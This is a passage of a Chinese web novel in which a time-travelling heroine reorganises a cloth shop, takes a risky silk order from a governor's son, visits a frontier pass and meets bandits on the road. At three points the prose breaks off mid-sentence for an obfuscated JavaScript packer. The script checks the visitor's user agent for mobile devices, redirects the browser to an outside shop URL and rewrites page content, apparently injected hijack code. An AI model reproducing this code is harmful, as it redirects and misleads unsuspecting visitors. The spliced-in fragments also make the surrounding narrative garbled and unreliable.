木澜回头,招了阿竹过来,问他:“可曾读过什么书?” 阿竹谦虚答:“上过两年学,略识得几个大字罢了。不过先前方先生不在时,我打过下手。” 木澜忍不住叹息:可怜见的,这孩子都不知道自己被压榨了。 晃了晃脑袋,木澜回神。既然会认字就好办,开始手把手教他记账。 木澜倒是没教他用阿拉伯数字,毕竟尚不流通,总不能只有自己看懂。 阿竹起先惶恐,觉得自己无法胜任,木澜却告诉他不能妄自菲薄,半是夸赞半是威胁,半天时间,阿竹已经快搞明白了。 “行了,我就说你很厉害吧。今天先到这儿,你去试试,有什么不明白的再来问我。” “谢掌柜的。”阿贵兴高采烈地点点头,埋头苦练。 解决完了这件事,木澜转头看向陈积的老货。 这些布料摸起来手感甚好,一看也不便宜,只是先前没卖出去,堆到现在,有些过时了。 那么,也许可以试试改良款式。 木澜当即行动起来,室友每次汉服出行,都是她负责打理拍照,照着那些款式改改应该不难。 说干就干,木澜把缝人都集合起来,派了任务,必须在十天之内完成一批成衣,用作展示。 因着她先前树立的形象,并没什么反对之声。 木澜自己也发挥所长,制作几个木偶衣架。这个时代是没什么模特的,就算是衣架也大多是由一个底座,立柱,横杆组成的简易支架,用来放华丽的衣袍很有威严,但普通百姓的衣服放上去就显得简单,也看不出效果。 这些天整个布庄都运转起来,木澜也忙得脚不沾地,就等着事成之后,一鸣惊人。 然后—— 她就傻眼了。 那日,布庄精心装潢一番,几个木偶衣架穿上改良的新衣,摆成一排,光彩夺目,就连店内的伙计也被木澜耳提面命,一定要微笑服务,推销自己的成衣,各方面都尽量做到完美。 如木澜所料的,当天很多客人像鱼群一样被吸引进来,每个人脸上也确实是惊喜的,东摸摸,西拽拽,颇有兴趣。伙计们的服务也很出彩,一切都无懈可击。 只是到了夜晚,木澜复盘时,才发现一件成衣都没有卖出去! 大家都说好看,却没有一个人订,目前的货值还不如那位跑路的前辈。 木澜一口气上不来,仰面倒下。 阿竹忙扶起她:“掌柜的!掌柜的!您没事吧?” 木澜自己掐了掐人中,强撑起来,看着阿竹关心的脸,环视一圈,店内其他人也累了一天,都不好受。 木澜勉强挤出一个轻松的笑,宽慰道:“没事。是我让大家白忙活一场了。” 众人说不出话,心中也焦急,但木澜这十来天的辛苦大家都看在眼里,此时更说不出什么指责的话。 其中一个绣娘道:“掌柜的别心急,日子长着呢。” 木澜苦笑,日子虽长,她却只有二十天了。 但她还是谢过,一个人慢悠悠地走回去。 夜风把她吹醒了不少,这个模式行不通,一定是有问题的,或是哪儿出了纰漏。 虽然荒废了这十天,但换句话说,还有二十天呢! 总还是有机会的。 一路上想得沉浸,不知不觉就走了回来。 小院烛火温柔,映在窗扇上的人影都透着暖意。 木澜慢下脚步,搓了把脸,推开门,溪风正倚在窗边看书。 听到声音,她抬起头:“回来了,如何?今日可尽兴?” 木澜摇摇头,自顾自地瘫进榻里,闷声闷气道:“别提了,我累了这么多天,一件成衣都没有卖出去。” 其实不用她说,溪风也能看出来。往日木澜总是脚步匆匆,今夜却是沉怠的。虽脸上看不出什么,却没像从前似的一回来就兴致勃勃地讲她的“宏图大业”。 但溪风一句安慰的话也没说。 木澜实在累的慌,也不计较,不一会儿便沉沉睡了过去。 第二日一早,溪风便让含笑唤木澜起来,拉着她去了一处酒楼,示意木澜在靠窗的位子上坐下来。 “这个位子不错,云州城最繁华的地段都能尽收眼底,你仔细看看南来北往的人都穿什么,晚上我就来接你。” 木澜有些懵,急忙道:“我店里还有生意呢!” “只一天,耽误不了什么的。就当散心了。” 溪风眨眨眼睛,身旁的含笑立马把人摁了回去,“你就老实点吧!” 说完,就扶着溪风走了。 木澜起先觉着无聊,趴在窗边四处打量,看山看水看美人,久了也无趣,不忍辜负小风的真心,还是规规矩矩坐着。 等到了正午人多了,才从中看出几分门路来。 穿布衣的读书人,穿麻衣的庄稼人,穿绸缎的商人,穿胡袍的游商,穿皮袍的草原人……底下游人如织,木澜遥坐阁楼,尽收眼底。 这个周朝的服饰类似于古代的战国袍,宽袍大袖,交领右衽,再以腰带束腰,由于身处边境,也融入了胡服和草原部落的元素,比如胡人的骑射服,游牧部落的窄袖,还有天冷时的皮袍毡帽,在云州都颇受欢迎。 几个民族互相借鉴,各取所长,木澜不得不佩服劳动人民的智慧。若想区分也很简单,最直接的办法便是看衣襟,中原人都是右衽,像青鸟这样的异族人则是左衽。 木澜饶有兴趣地盯着过路的人群,直到日影西斜,小风也如约来接她。 “可看出些什么了?” 木澜道:“街上人虽多,无非两类,穷人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730552|189646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,富人。穷苦百姓身材大多粗壮,穿成衣多有不合身之处,并且成衣价贵,布料不耐磨,因此大多不会购买成衣。而富人选择更多,为彰显身份,大多选择量体裁衣,不会选择这种已经制成的成衣。” 她到底还是忘记了自己身处古代,购买力低下,古人大多都是扯块布自己回去做,是不愿意再花钱买工价的。木澜做的这些成衣可谓是又浪费了布,又浪费了工艺,只能当个“模特”摆在外面吸引目光了。 “所以我应该从布料和花样上下手,就算做成衣也只量身定做。”木澜总结。 小风笑着点点头:“不错。” 想明白了这些,木澜歇下口气,又有些诧异:“你早就知道我的问题了?为何不明说,而是让我在这里傻站一天呢?” 小风笑了笑:“操千曲而后晓声,观千剑而后识器。说得再多,也不如自己亲自去体验一番。” 此前木澜只顾着美观,忽略了实用性。但她并不准备完全摈弃美观,先前的东西虽没人买,但很能博人眼球。完全考虑实用性也行不通。 那么,首先要确定客户人群。 是卖给富人、平民还是劳苦大众呢? 木澜的答案是:我全都要! 这间商铺面积很大,还有个二楼,生意做广点不成问题。 既然主要群体就这三类,干脆直接开展对应的三条线。 就是所谓的低端、中端、高端。 但含义是这么个含义,却不能直接叫这个名,谁来买东西被叫“低端”都不好听。 木澜改为相对应的布匹、成衣、定衣。 一楼仅做布匹生意,如果想要加工成衣,可上二楼找缝人,定衣则□□。 所以,现在先停下成衣,改为图样,顾客觉得好,定下来再制作。 搞明白风俗形制,木澜便开始绘制样式衣纹,她的美术功力都是在大一时手绘机械制图练出来的,虽不甚美观,但胜在精细严谨。 溪风一直在旁边看着,许是觉得有趣,见她用不惯软毛笔,又找了竹笔来,笔芯是缠布的,属于硬笔,木澜用着顺手许多。 真可谓是焚膏继晷,日夜辛勤;俾昼作夜,晨昏颠倒。 夜已深,木澜转了转手腕,抬手垂肩,见溪风依旧作陪,心中一动,嘴上便没了分寸。 “你对我这么好,不会是喜欢我吧?” 话说出口,木澜才意识到轻佻。 她在现代时经常说这句话,忘了是谁带的头。室友们带饭回来,或是互相帮忙,说谢谢太过生疏,常用这句略显自恋的话配上打趣的语气化解,对方往往会轻骂一句:去你的。 可这里是陌生的古代。 “喜欢。” “什么?”木澜怔住。她以为对方不会回答。 溪风并未觉得这个问题有何不妥,回答的很是郑重。 “喜欢的,第一次见到你就很喜欢。我从未见过一个人有那么亮的眼睛,好像里面满满的都是希望与鲜活,生生不息。” 见木澜呆愣愣的,溪风接着说:“难道喜欢二字一定得用在男女之爱上么?女子和女子之间也可以互相欣赏。” 说到这里,溪风微微一笑:“木澜,我总觉得老天安排我们遇见一定是有道理的,好像我们是注定要认识的,不然我怎么会对你一见如故呢。” “那是当然!”木澜比溪风更相信。 不然她怎么会穿越时空,跨越千年,来到这里呢? 8. 云州穆家 “亲人间有户籍,爱情也有一纸婚书,友情却没有一个凭证。这不公平。” 木澜总是有那么多稀奇古怪的想法。 溪风略作沉思,道:“但有金兰之交。” 两人相视一笑,心意相通。 想到这儿,木澜也敞开了心扉。 “小风,说来你可能不信,我第一次见你,就觉着格外亲切,好像我们天生就是该认识的,不远万里都要相逢。可明明我们才相识一个月。” 溪风闻言轻笑,端着烛火走近,光影簇簇。 “难道一段情谊的深厚,只能用时间衡量吗?” 烛光驱散了暮夜的迷离,木澜第一次如此清楚地看见溪风,烛火给她的眼睛增添了光亮,像是卸去平日里那副端庄无暇的面具,发丝飘摇,身后的影子攒动着,整个人活过来。 或许,这才是真正的她。 木澜怔怔看着,好半天才找回自己的声音: “不能。” 许是今夜的风太温柔,又或者是与溪风的灵魂相碰,木澜想告诉她真相: “其实,我根本不是神仙……” 溪风却抬手制止:“那些都不重要。” “木澜,每个人都有秘密的,我不强求。”溪风的声音轻柔而坚定,“我只知道你是上天派来拯救我的小神仙就够了。” 她都知道,她不在乎。木澜心中轰然一声。 半晌,木澜才问出心底深处的疑惑:“小风,你的秘密是什么呢?” 溪风没有回答。 第二日,木澜神采奕奕,一大早就赶到了布庄。 拿出新策略,一板一眼地整改过来。 首先是一楼,布匹必须按照材质重新分区,再根据工艺差别分别放置,地方不够,木澜就制作了个木板,用损耗的边角料制作成册子,每个伙计手里一册,遇到赶时间的客人,可以直接用手里的册子挑选。 册子后面就是木澜绘制的成衣样图,若是卖出布匹,伙计就可以顺便提上一嘴,若是有意,立马一步到位,请到楼上找缝人量体裁衣。 到了楼上,又可以看见改良款,欣赏绣娘的手艺,顺势增加一点定衣的潜在客户。 岂不美哉? 木澜这种稳健的策略显然很有成效。 今日店里来了位穿布衣的读书人,进门扫了两圈,没什么中意的,正准备打道回府,阿竹见状立马窜出来。 “公子想要什么?本店有上好的棉布绸衫哦。” 读书人面皮薄,伙计招揽上来,大多不会拒绝。 “我……随便看看。” 就等这句话。阿竹立马展开手里的册子,道:“那我帮公子推荐一下?想要布衣还是麻衣?” “……布衣。” “厚薄如何?” “入秋了,要厚一点的。” “公子喜欢什么颜色?” “宝蓝。” “好的。”阿竹找到对应的布料,立马展开让人选。 读书人摩挲了会儿,很快选好,正欲从袖口里掏出银钱,阿竹道:“公子还可以看看本店的成衣样式,我观公子温文尔雅,这套就很衬您。” 读书人闻声看去,目光微动,只是还有些犹豫:“量体裁衣,又得花费不少时间吧?” 阿竹捕捉到他眼里的纠结,立马道:“怎会,小店二楼就是缝人绣娘,公子上去,只需一口茶的功夫就能给您量好,半个月后来取就是了。” 说完,忙把人往楼上引,顺手拉了下楼梯旁的铃铛,楼上伙计立马迎接: “公子看上小店哪一套样衣了?这边有做出来的成衣可以观赏呢。那边是女款,天气转凉,还可以给家中亲人也定做一套哦……” 待人彻底上去二楼,阿竹忙跑过来邀功:“掌柜的,如何?” 木澜竖起大拇指:“你已经青出于蓝而胜于蓝了。” 阿竹腼腆一笑:“都是掌柜的主意好。” 正说着话,外面响起一阵马蹄声,木澜和阿竹同时侧身,一个高大的男子掀帘走了进来。 身旁的小厮道:“掌柜的,这里可有红绸,我家公子要定千匹。” 这可是大生意! 木澜赶紧上前回话:“当然有,桑丝的、织锦的,本店都有!” 说完,招手示意阿竹过来。 阿竹站在原地没动,木澜干脆自己介绍。 公子选好材质,木澜拿笔记录:“千匹数量太多,待清点好后方才送货。不知公子家住何方?” 小厮道:“州牧府。” 木澜手中的笔猛然一顿。 州牧府,她听含笑提起过的。 云州有一个君子榜,林大公子排第二,都说他是姿容如玉,清介自守,博涉群书,善财生金,有仙家之仪范,古圣贤之遗风…… 当时木澜咂舌道:“这第二都夸成花了,第一得多厉害呀?” 含笑瞪一眼,“我说大公子呢,你非要扯其他。这第一是州牧家的公子,那可真是个奇人,文韬武略样样都挑不出错来,不过脾性古怪了些……依我看,咱们大公子也是极好的,只是出身不高。” 想必就是这位了。 木澜准备收下定金,阿竹附耳道:“掌柜的,三思啊。” 木澜不明所以,“什么?” 那高大公子敏锐捕捉到这一丝犹豫,开口道:“算了,不必强求。我们走吧。” 木澜眼睁睁看着两人离去,千匹红绸,煮熟的鸭子飞了。 手里的笔瞬间断成两截,木澜捂住心口:“阿竹,你干了什么!” 阿竹面上也有为难:“抱歉,掌柜的。” 一个绣娘见状,出声劝道:“这桩生意不好做,弄不好会得罪云中郡王。” “什么?” 绣娘道:“事情要从州牧夫人讲起。” “这位穆夫人可是个了不得的奇女子。穆家大姑娘嫁给了云中郡王的小儿子,谁知那小郡王混账不堪,竟在酒后殴打发妻。寻常人家遇到这事,多半忍气吞声。可穆夫人心疼女儿,才不管这些,带了一队府兵杀去云中,当众掌掴小郡王,前前后后折腾了两年多,终于才求得圣旨,准许俩人和离。” “穆夫人常说,日子是过给自己的,不是给旁人瞧的。把穆大姑娘接回来后,一不送去乡下庄子,二不关进祠堂,待她还如过去一样。这不,一转眼,穆大姑娘又要嫁人了。” “云中郡王听闻此事,早强制征调红绸,放出话来:宁可烂掉,也绝不许给穆家!” “城里几家布庄怕惹事生非,好好的新婚之喜变成更嫁之物,听着不吉利。再者,云中郡王也不是个好相与的。” 木澜了然:前者是风俗礼教,后者是世俗权柄。 两个都不是好沾染的。 但木澜仍有一点不明,她道:“照理说,州牧也是一方大员,统管云州军事大权,何至于害怕到这种地步?” 阿竹接话道:“云中郡王乃太祖皇帝第十九子之后,是世袭罔替的宗室王爵,州牧家虽显赫,到底是官身,自然不一样。再者说,云州郡王行事横行无忌,州牧一家却平易近人,平头百姓都是多一事不如少一事。” 木澜了然,冷笑道:“原来这就是所谓的宁开罪君子,莫得罪小人。就没人管管么?” 阿竹摇头叹息:“不敢高声语,恐惊天上人。” 州牧家的公子,管着云州布防。 那么,只要跟他打点好关系,一定能弄到进出荆门的文书。 木澜当即拍板:“这生意我接了!” 既可以去荆门这个穿越地点探查一番,还可以把青鸟一并丢出关外。 一举两得,岂不美哉? 晚上回到小院,木澜便提及了此事。 林惊风微微皱眉,提醒道:“这桩生意若是要做,就得靠这个机会,依附上穆家,否则后患无穷。” 木澜点头,她明白其中的深意。 又有些惴惴不安,明天便要去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730553|189646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拜会,还不知道这州牧家的公子究竟是个怎样的人。 这么想着,也顺势问出来。 “我听含笑说,这个穆王孙是个奇人?” 溪风听出木澜声音的忐忑,笑着安抚道:“再奇也没有你奇了,怕什么。” 这倒也是。 …… 溪风要出门一趟,木澜大言不惭地表示要蹭马车,顺带捎上了青鸟。 青鸟的异族特征太过明显,就算是面具,也遮不住那双独特的眼睛,木澜便找了个幕篱给他戴上。 马车上,青鸟单独坐一方,腿上的竹板还没拆,一个人缩在里侧。 木澜生怕他和溪风沾染上一点,强势坐在对面。 青鸟从木澜上来起,便一直盯着她。 木澜心中犯疑:难道是放黄连被他发现了? 不应该啊,他都吃了一个月了,要发现早该发现了。 木澜扭了扭脸,帘子掀开,又放下,那道炽热的目光依然紧紧锁着她。 逃不开,索性不逃了。她本也不是个纠结的人。 “你一直盯着我做甚?” 青鸟反问:“不可以吗?” 木澜瞪眼:“当然不可以!我一直盯着你看,你会怎么想?” 这话似乎有了些作用。青鸟沉思了一瞬,木澜神色刚缓,就听他语不惊人死不休道:“那你盯着我吧,我比你大度,不会生气。” 木澜当即暴起,抬手给了青鸟一个脑崩儿,然后以迅雷不及掩耳之势坐回去。 青鸟猝不及防挨了一下,立刻就要反击。溪风从假寐中睁眼,看到的就是龇牙咧嘴、作势要扑的青鸟,以及端坐一旁,状似乖巧的木澜。 “……好了,莫再胡闹。” 青鸟虽和木澜不对付,但对溪风却十分顺从,当即放下手。 只是这一幕落在木澜眼里,就成了别有用心——他竟如此听溪风的话。 马车悠悠前行,三人各怀心事,车厢内安静下来。 到达穆府,表明来意后,门房引着他们到了一处庭院。 木澜这才知道穆夫人和穆大姑娘出门散心了,府里只有穆王孙。 红绸早就够了,这些是穆王孙自己额外订的,想为姐姐多添些嫁妆。 见着穆王孙,木澜先是自报家门,随后呈上货品清单。 穆王孙审视着面前的人:“敢做我的生意,该说是无知呢,还是无畏?” 木澜不闪不避,神情坦然:“两者皆有吧。” 见穆王孙不解,木澜解释道:“来时伙计已经跟我讲明内情,约莫是关于那位云中郡王的旧事。但依本人拙见,我并不觉得贵府有做错的地方,穆姑娘及时止损,终觅两人;穆夫人爱女心切,当机立断,都是好事。” 穆王孙坐直了身体,“你真如此想吗?” “当然!”木澜语气诚恳,虽有几分恭维,心中想法也确实认同,“我不认为那套禁锢人的东西是对的,自然无所谓了解;又明知此事真正的苦主是穆姑娘,岂能人云亦云,落井下石?” 穆王孙拍案而起,赞道:“说的好!这世上总归还是有个神思清明的人。倘若我姐姐还在府里,定要引荐引荐,省的她常说我是为了哄她,才编出一套歪理邪说。” 木澜莞尔一笑:“这有什么,可以修书一封,言明有一个人支持她,盼她余生顺遂安康。” 木澜此时算是完全榜上穆王孙,眼见气氛融洽,顺势道:“我此举虽是心口合一,却怕旁人不这样想,若是因此开罪了云中郡王,还请穆公子替我稍作转圜。” 穆王孙正在兴头上,当即应承:“这是自然。” 本也是为了他家的事。 “还有一件事,”木澜趁热打铁,“不知可否请穆公子批一张出关文书?” 穆王孙笑意微敛:“你要这个做什么?” 木澜抬手,摘下青鸟头上的幕篱,一双碧色的眼睛清澈明亮。 穆王孙当即收住笑:“异族人?” 9. 荆门见闻 木澜被他骤变的神色吓了一跳,忙挡在身前道:“他是异族不假,不过是我捡回来的。况且我看云州城的异族人也挺多的……” 不至于这么大反应吧。 “异族虽有,但他这么年轻,且特征明显的,却是少之又少。” 再怎么遮挡,青鸟那双绿色眼睛和褐色卷发都极其明显。 见木澜是真不明白,穆王孙呼出一口气,解释道:“你看到的那些多数是归化的异族,前些年还不似现在严格,荆门内外是可以走动的。最近几年关外部落争斗不休,京中便下令封锁边境,防止战火蔓延至关内。” 说完,他抬头直视青鸟:“若我猜的没错,你应该是被拐子从关外掳来的吧。” 拐子?木澜侧身问青鸟:“是这样么?” 青鸟原本警惕地盯着穆王孙,听见木澜问他,微微点头:“是。” 原来是个可怜孩子。 木澜回想起这些天的作威作福——把他当猪抬,踩伤腿,还在药里加黄连——心中难得生出一丝愧疚。 她深吸一口气,平复心绪,才道:“之前你怎么不说?” 青鸟横了她一眼:“你又没问!” 木澜回想,好像自己确实没问,但这并非重点。她迅速反应过来,这个人连名字都是假的。 “问了你就会说吗?” 青鸟淡然道:“不会。” 木澜攥紧拳头:“那请问你是怎么逃出来的?” 青鸟:“我神通广大不行么?” 木澜:“……” 穆王孙见状轻笑一声,道:“他不敢说,也是怕再被抓回去。那伙拐子是由大漠胡人牵头,在草原上抓落单的人卖至关内,或是从云州抓年轻女子卖到关外,官府已经追查多时了。” 木澜险些忘了,在这个时代,人口贩卖近乎默许,被拐卖为奴者比比皆是。 她声音淡了许多:“既然如此,你身上的伤也好得差不多了,改日我便送你出关吧。” 穆王孙了然:“原来你想要出关文书是因为他?” 木澜点头。青鸟却道:“我不回去。” 木澜皱眉:“又为何?” 青鸟:“我还欠林小姐一百两银子!” 木澜:“不用你还,赶紧走。” 青鸟:“就要还!” “……” 眼看着两人争执起来,穆王孙目瞪口呆,出声劝道:“两位稍安勿躁,这文书批不了。” “为何?” 穆王孙看向青鸟道:“如他所言,他是被拐卖至云州的,自然没有身份户籍,如何批复文书呢?” 是的,青鸟没有户籍—— 等等,木澜好像也没有户籍! 木澜突然意识到,她是凭空出现的,如今留在林府,顶着布行掌柜的身份,全赖着溪风心善,仰仗林府是东家。 硬说起来,她的身份是完全不可推敲的。 想到此处,木澜不由得倒吸一口冷气,强压下心中不安。 她迅速调整策略,改口道:“那……可否带我们去荆门关看看呢?一直听说这座北方最后一道关隘气势不凡。我们不出去,只在关内瞻仰一番。” 穆王孙沉思片刻,自边境封锁以来,荆门便有了许多传说,平头百姓想要一睹风采也无可厚非。 况且只是看看,出不了什么乱子。 遂应允道:“半个月后荆门换防,我可以带你们走一趟。” 有了这个承诺,木澜心中充满希望,对光明未来憧憬不已。 回到布庄,生意正稳步推行,加上穆王孙的千匹红绸大单,这个月还是盈利的。 清点完账目,木澜欢天喜地,溪风笑容满面,连向来不形于色的林惊风也投来赞许的目光,并按照约定把一成盈利分给木澜。。 木澜只从中取了六两银子还给溪风,剩下的,则全部均分给布行上下的伙计。 她道:“为者则己,有者则士。功劳是大家的,成果也应大家同享。” 木澜不喜欢喊口号,还是直接发钱来得痛快。 况且,她马上就要去荆门关,到时候人回去了,金银又带不走。 到了约定那日,穆王孙派人来接他们。 木澜坐在马车上,一路上不停地掀开帘子,张望着沿途的边塞风情。 这频繁的举动引起了青鸟的注意,他也学着凑到窗边,问她:“你在看什么?” 木澜此刻心绪纷乱,她既盼望着能够立刻回去,又想到了溪风。 ——自己不告而别,溪风会不会很难过? 她放下帘子,正对上青鸟那双幽深的绿眼睛,随口道:“在找一处风水宝地,马上把你丢回去!” 青鸟不说话了。 行至城外,风沙渐起。 驼铃悠悠回荡,往来荆门的商队依次放行,他们的马车有穆王孙的士兵护着,自然不需查验。城外绿意稀疏了很多,路边错落着一丛丛的小蓬草,这种草生命力很强,连绵不绝。视线往上,便是荆门关。 不愧是坐镇北方的关隘,荆门关高大恢弘,正是黄昏,残阳如血,更是平添几分壮丽苍茫。 穆王孙亲切地接待了他们。他这人说来也确实奇怪,在这个时代,身居高位却毫无架子,木澜总觉得他和溪风会很聊得来。 “如何?荆门关是否和你们想象的一样?”穆王孙问道。 木澜立在城楼上,遥望远处苍茫,拱手道:“百闻不如一见,见面方知名不虚传。” 此时正在换防,木澜看出他公务繁忙,便主动提出:“公子有要事在身,我们不便打扰,只在城楼附近转转即可” 正合穆王孙心意,他略带歉意道:“照顾不周。” 木澜带着青鸟从城楼上下去,溪风说就是在这里捡到她的,可木澜自己并没有搜寻到任何与荆门有关的记忆。 她敢肯定,自己绝对是第一次来这里。 那么,是为什么会穿越到这里呢? 一边想着,一边仔细检查起有没有可疑的地方。 可里里外外转了一圈,连每一块砖石都用手掌仔细触摸过,除了砖缝里几棵随风摇曳的野草,一无所获。 难道自己的穿越和这个地方没有任何关系? 那为什么偏偏是这里呢? 时间一分一秒流逝,依旧毫无头绪。 木澜也从一开始的狂喜跌入了茫然。 没有用。 找累了,她索性一屁股坐在地上。 木澜也说不清此刻的感受。 回去,自然是做梦都想回去的,可眼下毫无办法;留在这里似乎也不坏,至少衣食无忧,还有了自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730554|189646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的事业。 她想回去念大学,大学生活除了抢饭和烧电焊比较累,还是很美好的。 这份“累”也是自己选的,要说起木澜为什么学工科,理由是极其离谱的。 自哥哥撂挑子不干后,木澜的美好人生也算是到头了。父母见大的指望不上,终于想起自己在老家还有一个小的,只能把希望全寄托在她身上,开始严格把控木澜的生长。 初时,木澜颇有被重视的甜蜜,可后来,在父母无数次“千万不要学你哥哥”的耳提面命之后,她也感到心力交瘁。她逐渐明白为什么从小到大都是“别人家孩子”楷模的哥哥会逃离,也开始思考,自己是否要为了满足父母的期待而奉献一生。 于是,高考结束后,木澜毅然决然更改了志愿,填到了千里之外的北方。 但她从小到大接触到的都是医学,没有涉猎过其他领域。于是在专业填报上,木澜认为得花钱咨询一下。 在这种人生选择的关键路口上,木澜居然抠门的只花了十块钱。 简述了自己想逃离原生家庭的决心和理科分数后,对面给出了并不专业的见解:建议选择土木或是工科,比较好赚钱。 高中时的木澜虽没什么见识,但也听说过土木人的赫赫威名。她自觉动手能力不弱,果断选择了工科。 至于为什么说不专业呢,因为对面忘了问木澜的性别。 这里面绝对不涉及什么性别歧视,因为木澜在入学深入了解后,发现传统工科不是不适合女生,而是压根儿不适合人类! 极高的劳动强度,恶劣的工作环境,以及较大的学习难度和需要熟练的实操度,把木澜折磨的□□。 偶尔宿舍聚会,要么悔恨自己当年是黄汤灌多了,要么是畅想那一眼望得到头的苦累生活,顿觉人生无望。 曾经的欢声笑语,一起熬夜赶作业的时光,仿佛还在昨天,怎么就能永别了呢? 但木澜隐隐又害怕着,她也不确定——那么大的舞台事故,还能回去吗?还有自己的位置吗? 木澜正惴惴不安地思忖着,一声接着一声清脆的“咻咻”声将她唤醒。 她抬眼望去,只见青鸟手里不知何时拿了根竹枝,正左一下、右一下,抽得欢快。 自从她开始检查城墙起,青鸟就一直默不作声地跟在她身后。 她在这边黯然神伤,他倒好,在一旁玩得自得其乐。 “你真是……无聊透了。”木澜没好气地说。 青鸟没反驳,只听见“咔嚓”一声,他又利落折下一根金竹枝,细心剔去多余的枝桠,把光溜溜又直又韧的一根递给木澜。 木澜语气坚决:“我是不会陪你玩这种幼稚游戏的。” 青鸟不吭声,只是手继续往上抬一点。 “……” 片刻后,木澜响亮的笑声传遍旷野,她甚至还嫌青鸟动作太慢,忍不住上前亲自指导:“你得这样,手臂甩起来,朝那草尖尖上打。诶,对了!就这样,孺子可教也……” 两人玩得忘乎所以,结果就是,这一片的小蓬草都失去了它们的脑袋。 抽累了,木澜猛然回神: 不对!自己怎么又玩起来了! 玩物丧志啊。 木澜立刻丢掉手里的竹枝,跟着后退一步,誓要与青鸟划清界限! 10. 招蜂引蝶 原本还担心突然回去怎么办,这下好了,压根回不去。 能怎么办?继续过着呗。 总不能一把火给自己烧了——她才舍不得。 木澜歪在马车里,整个人恹恹的。 青鸟在对面一直紧紧盯着她。 木澜:“……” 她没心情跟他吵架,兀自把头扭到一边。 青鸟默默把车帘子掀开,流动的空气透进来,木澜深吸一口,终于施舍给青鸟一个眼神。 “那天在荆门,我放你走,你怎么不走?” 青鸟见她终于说话,微微坐正:“没还完债,我不走。” 木澜对这个理由不置一词。她带着点惆怅的语气问他:“难道你不想家吗?” 青鸟沉思片刻,一本正经地回答:“不想。” 木澜:“……” 她不想跟他说话,扭头朝窗外望着。 云中郡王的报复虽迟但到,虽有穆王孙在前面挡着,不能直接拿布庄如何,但云中郡的布匹是运不过来了。 木澜的生意刚有成色,就被扼住了咽喉。西边与云中郡相邻的州郡是指望不上了,木澜只得从东边打算,恰逢林惊风去鄞州,木澜他们也跟着随行。 正值正午,秋老虎余威犹在,烈日直晒,树荫微薄。 行人无处躲避,一个老人慢悠悠倒下了。 林惊风抬手叫停了车队,他下车查看倒在路边的老人,给人喂了水,木澜的额头贴在窗边,眼睛一直凝着他瞧。 喂完水,林惊风回过头,看见她,笑问道:“怎么了?” 木澜忙收回眼,额前留下一道红痕,“没怎么……他像是中暑了。” 林惊风点点头,让阿贵把人架到树下阴凉处,又留一只水囊。 做完这些,阿贵翻身上马,木澜把他招过来问:“大公子心善,路边随便一个人他都救吗?” 阿贵想也不想道:“这是当然,我跟着大公子走南闯北惯了,向来都是能帮则帮。” 说完,仔细盯着她:“木澜,你额头怎么了?” 木澜抬手摸了摸,这才发觉自己看得出神,额头不知不觉有了红印子,面色微红道:“没什么……” 天气炎热,木澜却觉得自己心中下了一场雨。 初见林惊风时的异样感,又涌了上来。 马车通风,坐着不晕,但久了也无趣。含笑端了盘炒豆子,催着木澜讲故事。 木澜被搡着,摆起了谱。 阿贵也在一旁帮腔:“对啊,木澜,你不是说你仙女吗?” 青鸟闻言笑了一声。 木澜瞪他一眼,清清嗓子。 “从前有一个书生出远门,路遇劫匪,书生没钱,劫匪大怒,一刀朝书生的心口扎去,结果劫匪却死了。你们猜是为什么?” 含笑皱眉:“不应该啊?莫非是书生深藏不露?” “木澜,肯定是你胡说八道。” 见众人眉头紧锁,一副认真思索的样子。木澜憋住笑,深情并茂道:“因为书生对劫匪说:‘死鬼!人家的心早就是你的了!’” 含笑:“……” 青鸟:“……” 阿贵:“?” 众人听得目瞪口呆,连外面骑马的林惊风都僵住一瞬,只有溪风笑出了声。 木澜自己也笑得前仰后合,边笑边问:“喂,你们怎么不笑,不好笑吗?” 话刚落下,一道破空声响起—— 一支羽箭刺穿车厢,稳稳扎在厢壁上。 青鸟反应极快,木澜张开的嘴还没合上,便将她拽到一边,随后撩开帘子。 外面赫然围着十几个蒙面劫匪。 为首那人字正腔圆道:“打劫!” “来真的?!” 木澜悔不当初,做甚要讲那鬼笑话。 林惊风颇为镇定,他稳住马,熟练地让阿贵取出一碟整银,算是买路钱。 荒郊野外,官府管不到的地方,就是□□的天下。 但这伙劫匪显然不守规矩,收了人头和抽成,仍不肯放行。眼见四下无人,便露出一脸流氓相。 一个瘦猴似的劫匪围着马车转一圈,猥琐笑道:“老大,我刚瞧清楚了,里面还有三个姑娘。” 首领闻言掂了掂银子,道:“留下两个陪我们兄弟几个快活快活,挑一个你们带走。” 林惊风的手按在腰间的配剑上,警告道:“若是银钱不够,我可以再加一倍,望各位体谅放行j。” 